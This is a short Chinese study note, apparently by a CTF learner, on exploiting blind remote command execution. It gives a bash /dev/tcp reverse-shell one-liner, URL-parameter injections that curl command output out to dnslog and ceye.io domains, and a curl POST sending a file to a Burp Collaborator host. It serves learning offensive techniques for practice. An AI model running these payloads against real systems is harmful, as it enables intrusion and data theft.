学到了一点点新东西:
1.什么是无回显RCE
简单说来应该就是和sql注入里的盲注一个概念,你看不到回显的结果是什么
就比如eval函数,他就是一个有回显的函数
但是exec()就是一个无回显的函数,你看不到结果是什么
2. how 2 solve it?
对于无回显的rce一般有三种解决方式:
- 反弹shell
- dnslog外带数据
- 时间盲注
反弹shell
使用bash
或nc
反弹
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
dnslog外带数据
使用:
使用;
作为命令的分隔符,然后发起curl
请求
收到外带数据回显结果
不过这个b玩意太容易504 Gateway Time-out了…
等能访问的时候再补充图片吧
使用方法:
注册了一个账号以后就会有个属于自己的dnslog域名
然后:
1 | ?url=1;curl http://ip.port.b182oj.ceye.io/`whoami` |
如果使用dnslog.cn
要这么写:
1 | ?url=1;curl http://`whoami`.7sye14.dnslog.cn/ |
可惜由于dir/ls会被空格截断
可以加上|sed -n '1p’来查看
…
extra:
还可以使用burp的Burp Collaborator Client
点击Burp
就有Burp Collaborator Client
了
点击copy to clipboard
会生成一段:ucamo87yesi3j87kf879es5cn3tuhj.burpcollaborator.net
然后payload:
1 | 1;curl -X POST -F xx=@文件名 ucamo87yesi3j87kf879es5cn3tuhj.burpcollaborator.net |
tee:从标准输入读取,再写入标准输出和文件
1 | ?url=ls / | tee 1.txt# |
时间盲注:
使用sleep
不过我在nssctf上没成功(((
所以这里就不多展开